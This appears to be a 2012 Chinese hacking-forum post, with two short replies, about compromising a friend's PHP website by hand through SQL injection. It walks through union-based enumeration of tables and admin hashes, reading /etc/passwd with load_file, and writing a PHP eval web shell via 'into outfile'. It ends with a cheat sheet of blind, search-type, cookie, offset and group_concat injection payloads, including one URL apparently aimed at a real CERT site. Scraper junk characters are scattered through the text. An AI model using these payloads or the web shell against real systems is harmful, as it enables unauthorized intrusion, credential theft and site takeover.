标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点，他对安全不是很懂，就像我一样，呵呵 ！O(∩_∩)O~ - E1 C1 x# L3 k0 P& k! C让我看看，既然人家开口了，我也不好拒绝，那就看看吧？- L. l6 F' f5 Q& \6 q
我个人喜欢先看有没有上传的地方（上传可是好东西，可以直接拿shell'），其次就是看看什么程序，有没有通杀，然后就是后台，最后看看注入。。。。 / x8 n9 J) W" n7 z如果是php程序我会先找注入，呵呵！（这个不用我说你们也知道是什么原因咯，废话了，主题开始。。。） 9 p2 `8 K" t! i4 r/ B. e' R/ N1.打开地址，发现是php程序，呵呵.既然是php程序，先找找注入吧？看看有没有交互的地方，（所谓交互就是像news.php?id=1，news.asp？id=1这样的，）) W% R6 d, c9 G' ?
这个站很悲剧，随便点开一个链接加一个 ’ 结果悲剧了，爆出：1 { t% f2 F1 u( a: s, `! b
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 9 ?# p3 e' c: t7 c/ G/data/home/nus42j1/htdocs/news.php on line 59 ，物理路径出来了，到这一步啊，已经可以证实存在注入 % R* L$ y7 N$ F6 K9 s - f2 ]8 T2 e# z5 E2.不过既然是学习，我们就要一步一步的来，还是老规矩 and 1=1 ，and 1=2 ，返回结果不一样，证明存在注入， 0 t. D* q2 U% C8 r0 e3.下一步很自然的查询字段数：用order by+二分法，加上order by 8 返回正常，order by 9 不正常。说明字段数为8 ，继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ，一个5 ，说明可以利用字段数才两个，有时候会有很多个哦，要注意 * q- }; d) a+ q, a! w4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ，当然还有database(),等等.......返回版本，用户等等系列信息 0 N+ e3 z [. P8 Y9 ~) ^# u5.rp差了一点，不是root权限，不过版本大于5.0，支持虚拟库information_schema。3 }1 f9 t/ X }1 |( G! z' o
有两种思路：1.使用Load_file函数获取数据库账号密码，通过操作数据库获取webshell，9 B3 h: y; x$ m* o' _5 h' g ?. H
2.继续爆出数据库里的表名和列名，登陆后台想办法上传获取webshell。 9 h9 K1 z* D2 k( a* H我就用的是第二个思路，- m" K# k2 b5 e/ x9 t
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 1 x3 [# L; Y8 G* w
6.由于数据库表比较多，这里有48个表，我只是做检测，原理是这样，剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名，然后是获取表里的字段， ! b& ~# }% U8 H$ y# ]1 N提交：and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1-- $ W3 O' r: [" V0 X: b" c4 Z% j注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示，得到密码账号后就到md5破解网站进行破解。- k! t8 H1 ?+ I) ]# X+ t8 N# z& F
7.到这里呢我该结束了，还要提供给我朋友修补的意见，不过写了这么多了，也不怕在写一点，延伸思路，如果你的密文md5破不出来呢？？？？怎么办？？？？ - ^6 E; s3 H" S) ]是不是放弃了，当然不是，看看开了什么端口，如果是centos，lamp环境。我们自然是用load_file了，先验证有读的权限， /etc/passwd..... , P& h; K- d, v* X7 |- h% r提交：and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- 5 _5 k1 A. u6 i; A7 z然后你就找你要的信息，主要是一些敏感文件，还有就是有没有前辈留下的东西，比如某些记录口令保存在本地的东东，我们还可以通过操作数据库备份出来一个shell， ) B8 i2 g3 N* U# _调出mysql命令，执行：Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ，也可以分步执行建立一个临时表插入一句话，然后备份，前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......! @. Y* [' W9 Q1 ^5 ]6 d* W. p" K
下面是一些很普遍注入方式资料：5 d" J6 ]6 i# h N# k" }3 ^! h3 r* v
注意：对于普通的get注入，如果是字符型，前加' 后加 and ''='9 v7 P* J6 Z7 \2 b- x
拆半法- P# F2 ^$ _' d5 m
######################################, V- {: ~2 {* |' J
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。 7 J- T" J( g7 o$ zand exists (select * from admin) ( ~: ~& Y M" Zand exists(select id from admin) # ^/ E$ Y( ^. @+ Hand exists(select id from admin where id=1)( b* s( f. n% D
and exists(select id from admin where id>1) ! z+ ^' j( Z4 x# X3 |5 K
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 + \( O/ s0 L4 [2 w& ^3 V! N7 ?
and exists (select username from admin) 1 J/ }+ I h6 a: w8 `- e2 O, y: [and exists (select password from admin)9 g' J) {' y! A2 n- G$ N
and exists (select id from admin where len(username)<10 and id=1)5 T' {$ Z H5 i2 N" Y
and exists (select id from admin where len(username)>5 and id=1)( k! Z6 N1 V% x
and exists (select id from admin where len(username)=6 and id=1) 6 A3 j0 g7 ~1 P9 x$ _% jand exists (select id from admin where len(password)<10 and id=1)1 j6 l$ |/ B7 `
and exists (select id from admin where len(password)>5 and id=1): f: X" [' A% y7 i: G: l
and exists (select id from admin where len(password)=7 and id=1) ; Q* x, K8 x7 u2 qand (select top 1 asc(mid(username,1,1)) from admin)=97# E( X1 p) e+ k7 g6 g/ ^4 @
返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。! o5 b: U7 p) @3 R* d% {
猜第二位把username,1,1改成username,2,1就可以了。 & h2 L7 v6 `2 H9 X# T% i猜密码把username改成password就OK了/ H* i1 n/ E% b$ w! T6 v0 D
##################################################9 k" b# F( m" Y2 |: v! F( q0 s$ c) V
搜索型注入1 e# V8 j$ ?1 ~! J( q6 d5 J/ I" v
################################## : b) c& ?& W6 [8 N, R%' and 1=1 and '%'='% u+ A1 \7 U( i2 g0 k8 j* A; l
%' and exists (select * from admin) and '%'=' 5 T0 F5 I x7 R%' and exists(select id from admin where id=1) and '%'=' & u l6 W. \% H& j$ [%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' 2 Y6 g1 w. B. {5 C9 _%' and exists (select id from admin where len(password)=7 and id=1) and '%'='+ y* \. ^6 [" s9 i$ G; o& I+ a2 B
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=' # `, x* w6 k) r/ c这里也说明一下，搜索型注入也无他，前加%' 后加 and '%'=' 2 k# i% N( \* X# C对于MSSQL数据库，后面可以吧 and '%'='换成-- $ p4 m3 y/ F" E. f, K4 ^还有一点搜索型注入也可以使用union语句。 1 A/ x1 n5 u7 }######################################################## 5 {0 w1 `7 x; j+ {6 |" ?. g* r: z联合查询。 & k* S9 \7 u$ ^/ _+ J: ]5 `% B##################################### # ` r9 h6 x b o! \order by 10: w) U; f0 P$ }. m6 ^1 @
and 1=2 union select 1,2,3,4,5,6,7,8,9,10- w( [2 K, Q3 g
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 3 \4 u0 [+ g. a$ Mand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=11 |5 i) T( G, F/ U9 j7 A, d
很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）3 A1 ]. i" f2 h
################################### & f" B$ I+ c1 @, K/ A, z$ K& _9 Ocookie注入 4 `+ @. ^$ S9 Z1 p7 M###############################5 @6 d+ q- S. B; h9 |
http://www.******.com/shownews.asp?id=127 4 o- V; P, s9 |$ ^http://www.******.com/shownews.asp9 b" B9 z9 k5 q
alert(="id="+escape("127"));6 Z+ p3 r6 i% S+ k! B: [1 R
alert(="id="+escape("127 and 1=1")); + J3 J% |+ o/ X3 M9 e8 u5 V, Calert(="id="+escape("127 order by 10"));: o! W: S5 ~: T( g9 b5 }" {4 [) k
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); 0 L! g( P6 u' G' X; Qalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));/ P. Q+ E& _2 N+ |2 W
这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。$ _! D. ?, {! g! v1 ]1 |2 [
################################### ; r# a& @1 y7 e! a& _偏移注入 * U# h* s% P- F3 r; n0 M& {########################################################### 8 L+ c! @2 A, w) e, @% a) lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 2 ?7 E1 n1 S) y0 y/ v# dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin5 t7 z# G: i* M5 U/ X4 l$ B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)7 |( M$ `% r3 m. C# l8 n7 @$ H# u2 v2 \
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) - E: v3 }' ^! ~ `3 w' N" Yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id). {" I2 I. z2 v# x3 z+ V! P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)/ B4 W% @* E. m# [
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on. }; p, I l0 g1 U/ L+ n+ l
a.id=d.id)" X9 Y( F, Z1 b- r N
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)( h& Y6 D' s+ O- A
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) . {* X% b$ ]( H$ [& s+ P
# H3 s0 M {( ^4 _! I- t! B
============================================================================================================' P A9 O U; B) _! c
1.判断版本) p e5 B0 c0 T- U4 |# W
and ord(mid(version(),1,1))>51 2 O" m8 `3 m( A& |7 R0 L返回正常，说明大于4.0版本，支持ounion查询 8 w1 Z, G- U' {2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 . {" \6 T4 V! d }and 2=4 union select 1,2,3,4,5,6,7,8,9-- , x- @9 b% Q- _3.查看数据库版本及当前用户，8 U0 L: E5 P& y. L Z
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--& l+ g4 l9 c- }# b% {" J4 ^1 `
数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假， ) z8 O* b; M' L' v! W- K/ ?4.判断有没有写权限1 I+ I: X1 D7 N2 a9 s! f
and (select count(*) from MySQL.user)>0-- # {9 r3 w1 F2 F$ L+ b O: g# u! O$ R
5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1 x( Q, [- {# E7 y1 x
用不了这个命令，就学习土耳其黑客手法，如下 % j { g# [& I( u& ^) Q' jand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns-- 2 m8 ]) i/ b+ _* _9 t) S3 U6.爆表，爆库* g: M) B1 d" g$ l& V5 S3 X( q
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- " H0 s- t: |4 p, m7.爆列名，爆表 . O- E$ y1 w) [* Band+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--# L* c# G w1 v
8.查询字段数，直接用limit N,1去查询，直接N到报错为止。 ( h2 a- g" s9 Q) l& C7 ^and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--1 `7 ]& h5 b& k
9.爆字段内容 * L& Q4 x& L. _ t7 [+ M- O: Vand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--& c+ g2 [3 p! A/ A http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--作者: xiancda 时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~作者: wuyu 时间: 2012-9-25 18:53
谢谢分享，学习思路啊